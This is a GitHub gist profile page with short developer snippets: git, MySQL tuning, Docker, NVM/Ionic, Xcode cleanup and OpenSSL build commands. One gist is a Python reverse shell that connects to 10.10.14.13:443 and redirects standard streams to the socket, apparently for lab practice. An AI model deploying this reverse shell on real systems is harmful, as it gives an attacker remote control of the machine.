Skip to content

Instantly share code, notes, and snippets.

View mariohercules's full-sized avatar

Mario Hercules mariohercules

  • Fortaleza/Brazil
View GitHub Profile
GIT Commands
git init
git remote add origin http://wwwwwwwwwww
git add .
git commit -a -m "Projeto Final"
git config --global http.postBuffer 157286400
git push -u origin master
git checkout -b develop
@mariohercules
mariohercules / Mysql-Tunning
Created April 5, 2019 19:09
MySQL Tunning Paramenters
innodb_flush_log_at_trx_commit=1 ## disco ssd
Datadir
-innodb_log_group_home_dir # path innodb redo log files
-innodb_undo_directory # path innodb undo tablespaces
-log_bin # path binary log
-log_error # path log error
-innodb_buffer_pool_size # innodb workloads
* host memory based
@mariohercules
mariohercules / CoreSimulator-Clean.txt
Last active April 26, 2024 18:12
~/Library/Developer/CoreSimulator/Devices - Clean
# Delete/Clean XCode /CoreSimulator/Devices/ folder
$ xcrun simctl delete unavailable
@mariohercules
mariohercules / Dockerfile Example
Last active May 24, 2019 11:26
Dockerfile Command Example
#enter on an open container
$ docker exec -it <CONTAINER_ID> bash
#kill all docker process
$ docker kill $(docker ps --format "table {{.ID}}")
#delete all docker images
$ docker rmi -f $(docker images --format "table {{.ID}}")
#create Dockerfile
@mariohercules
mariohercules / nvm-ionic - build and run
Last active January 13, 2019 00:10
nvm-ionic - build and run
## Passo 1 - Instalar NVM
$ git clone git://github.com/creationix/nvm.git ~/.nvm
## Criar arquivo .bash_profile do usuario para inclusão das chamadas NVM
* Abrir uma nova tela do Terminal
* Digitar "cd ~/" para ir para a pasta principal do usuario
* Digitar "touch .bash_profile" para criar um novo arquivo vazio.
@mariohercules
mariohercules / revershell.py
Last active October 22, 2018 23:31
Basic Reverse Shell
#!/usr/bin/python
def con():
import socket, time,pty, os
host='10.10.14.13'
port=443
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
@mariohercules
mariohercules / openssl-update.txt
Created October 22, 2018 13:51
Update openssl on Mac manually
# https://www.openssl.org/source/
# 1.1.1 (2018-09-11)
cd ~/Downloads
curl -O https://www.openssl.org/source/openssl-1.1.1.tar.gz
tar -xvzf openssl-*
cd openssl-*
./Configure darwin64-x86_64-cc
make
make test
sudo make install